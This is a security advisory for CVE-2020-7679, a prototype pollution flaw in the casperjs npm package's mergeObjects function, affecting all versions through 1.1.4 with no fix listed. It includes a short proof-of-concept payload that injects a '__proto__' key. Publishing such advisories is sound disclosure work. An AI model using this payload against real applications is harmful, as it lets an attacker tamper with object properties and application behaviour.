Advisory

GHSA-vrr3-5r3v-7xfw

Also known as: CVE-2020-7679

Summary

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Details

Overview
casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

Severity

High Basis: The source's own band: HIGH

Dates

Published
2021-05-17 21:00 UTC
Modified
2023-11-08 04:04 UTC

Affected packages and fixes

casperjs

npm · All systems

Affected

  • introduced 0, last affected 1.1.4 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences